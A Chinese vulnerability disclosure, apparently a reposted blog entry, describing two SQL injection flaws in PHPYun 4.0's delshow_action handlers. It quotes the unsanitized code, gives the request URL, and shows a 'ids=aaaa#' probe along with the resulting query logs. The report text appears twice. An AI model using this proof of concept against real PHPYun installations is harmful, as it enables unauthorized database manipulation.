php gpc绕过,phpyun最新版两处注入(无视gpc)

### 简要描述:

PHP云人才系统 phpyun v4.0正式版 build20150819

4.0已经重新改版了,别在用3.2和4.0比较

### 详细说明:

第一处出现在

/member/com/model/show.class.php中

3.2版本的源码是

```

function delshow_action(){

$company_show=$this->obj->DB_select_all("company_show","`id` in (".$_POST['ids'].") and `uid`='".$this->uid."'","`picurl`");

if(is_array($company_show)&&$company_show){

foreach($company_show as $val){

$this->obj->unlink_pic(".".$val['picurl']);

}

$this->obj->DB_delete_all("company_show","`id` in (".$_POST['ids'].") and `uid`='".$this->uid."'","");

}

return true;

}

```

以下是4.0的

```

function delshow_action(){ $ids=$_POST['ids']; $company_show=$this->obj->DB_select_all("company_show","`id` in (".$ids.") and `uid`='".$this->uid."'","`picurl`"); if(is_array($company_show)&&$company_show){ foreach($company_show as $val){ unlink_pic(".".$val['picurl']); } $this->obj->DB_delete_all("company_show","`id` in (".$ids.") and `uid`='".$this->uid."'",""); $this->obj->member_log("删除企业环境展示"); } return true;

```

POST来的值直接带入查询,没有单引号,所以可以注入 试试带入字符看看是否可以 url

```

http://127.0.0.1/phpyun/member/index.php?c=show&act=delshow

```

postdata

```

ids=aaaa#

```

[QQ截图20151001141515.png](https://images.seebug.org/upload/201510/01141532ea390efd98e7951fcacebf04ff00afd4.png)

成功带入

```

2015/10/1 14:14SELECT `picurl` FROM `phpyun_company_show` WHERE `id` in (aaaa#) and `uid`='1'

```

第二处出现在/member/user/model/show.class.php中

第二处改的比较明显

3.2是用GET方法获取del参数

但是4.0改用了POST的方法获取,但是没有过滤

3.2的

```

$delid=$_GET['del'];//GET的del没有过滤,传给delid

```

4.0的

```

$ids=$_POST['ids']

```

以下是3.2源码

```

function job(){

。。。

570行if($_GET['del'] || is_array($_POST['checkboxid']))

{

if(is_array($_POST['checkboxid'])){

$layer_type=1;

$delid=$this->pylode(",",$_POST['checkboxid']);

}else if($_GET['del']){

$layer_type=0;

$delid=$_GET['del'];//GET的del没有过滤,传给delid

}

$rows=$this->obj->DB_select_all("company_job","`uid`='".$this->uid."' and `id` in (".$delid.")","`state`");

$nid=$this->obj->DB_delete_all("company_job","`uid`='".$this->uid."' and `id` in (".$delid.")"," ");

echo $nid;

$this->obj->DB_delete_all("company_job_link","`uid`='".$this->uid."' and `jobid` in (".$delid.")"," ");

。。。

}

```

以下是4.0的

```

function delshow_action(){ $ids=$_POST['ids']; $resume_show=$this->obj->DB_select_all("resume_show","`id` in (".$ids.") and `uid`='".$this->uid."'","`picurl`"); if(is_array($resume_show)&&$resume_show){ foreach($resume_show as $val){ unlink_pic(".".$val['picurl']); } $this->obj->DB_delete_all("resume_show","`id` in (".$ids.") and `uid`='".$this->uid."'",""); $this->obj->member_log("删除作品案例"); } return true;

```

POST来的值直接带入查询,没有单引号,所以可以注入 试试带入字符看看是否可以 url

```

http://127.0.0.1/phpyun/member/index.php?c=show&act=delshow

```

postdata

```

ids=aaaa#

```

[QQ截图20151001135656.png](https://images.seebug.org/upload/201510/011358459b233ddb67932936d5ecfaff601ca38d.png)

可以看到成功带入

```

2015/10/1 13:56SELECT `picurl` FROM `phpyun_resume_show` WHERE `id` in (aaaa#) and `uid`='2'

```

### 漏洞证明:

第一处出现在

/member/com/model/show.class.php中

3.2版本的源码是

```

function delshow_action(){

$company_show=$this->obj->DB_select_all("company_show","`id` in (".$_POST['ids'].") and `uid`='".$this->uid."'","`picurl`");

if(is_array($company_show)&&$company_show){

foreach($company_show as $val){

$this->obj->unlink_pic(".".$val['picurl']);

}

$this->obj->DB_delete_all("company_show","`id` in (".$_POST['ids'].") and `uid`='".$this->uid."'","");

}

return true;

}

```

以下是4.0的

```

function delshow_action(){ $ids=$_POST['ids']; $company_show=$this->obj->DB_select_all("company_show","`id` in (".$ids.") and `uid`='".$this->uid."'","`picurl`"); if(is_array($company_show)&&$company_show){ foreach($company_show as $val){ unlink_pic(".".$val['picurl']); } $this->obj->DB_delete_all("company_show","`id` in (".$ids.") and `uid`='".$this->uid."'",""); $this->obj->member_log("删除企业环境展示"); } return true;

```

POST来的值直接带入查询,没有单引号,所以可以注入 试试带入字符看看是否可以 url

```

http://127.0.0.1/phpyun/member/index.php?c=show&act=delshow

```

postdata

```

ids=aaaa#

```

[QQ截图20151001141515.png](https://images.seebug.org/upload/201510/01141532ea390efd98e7951fcacebf04ff00afd4.png)

成功带入

```

2015/10/1 14:14SELECT `picurl` FROM `phpyun_company_show` WHERE `id` in (aaaa#) and `uid`='1'

```

第二处出现在/member/user/model/show.class.php中

第二处改的比较明显

3.2是用GET方法获取del参数

但是4.0改用了POST的方法获取,但是没有过滤

3.2的

```

$delid=$_GET['del'];//GET的del没有过滤,传给delid

```

4.0的

```

$ids=$_POST['ids']

```

以下是3.2源码

```

function job(){

。。。

570行if($_GET['del'] || is_array($_POST['checkboxid']))

{

if(is_array($_POST['checkboxid'])){

$layer_type=1;

$delid=$this->pylode(",",$_POST['checkboxid']);

}else if($_GET['del']){

$layer_type=0;

$delid=$_GET['del'];//GET的del没有过滤,传给delid

}

$rows=$this->obj->DB_select_all("company_job","`uid`='".$this->uid."' and `id` in (".$delid.")","`state`");

$nid=$this->obj->DB_delete_all("company_job","`uid`='".$this->uid."' and `id` in (".$delid.")"," ");

echo $nid;

$this->obj->DB_delete_all("company_job_link","`uid`='".$this->uid."' and `jobid` in (".$delid.")"," ");

。。。

}

```

以下是4.0的

```

function delshow_action(){ $ids=$_POST['ids']; $resume_show=$this->obj->DB_select_all("resume_show","`id` in (".$ids.") and `uid`='".$this->uid."'","`picurl`"); if(is_array($resume_show)&&$resume_show){ foreach($resume_show as $val){ unlink_pic(".".$val['picurl']); } $this->obj->DB_delete_all("resume_show","`id` in (".$ids.") and `uid`='".$this->uid."'",""); $this->obj->member_log("删除作品案例"); } return true;

```

POST来的值直接带入查询,没有单引号,所以可以注入 试试带入字符看看是否可以 url

```

http://127.0.0.1/phpyun/member/index.php?c=show&act=delshow

```

postdata

```

ids=aaaa#

```

[QQ截图20151001135656.png](https://images.seebug.org/upload/201510/011358459b233ddb67932936d5ecfaff601ca38d.png)

可以看到成功带入

```

2015/10/1 13:56SELECT `picurl` FROM `phpyun_resume_show` WHERE `id` in (aaaa#) and `uid`='2'

```

loading-bars.svg

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值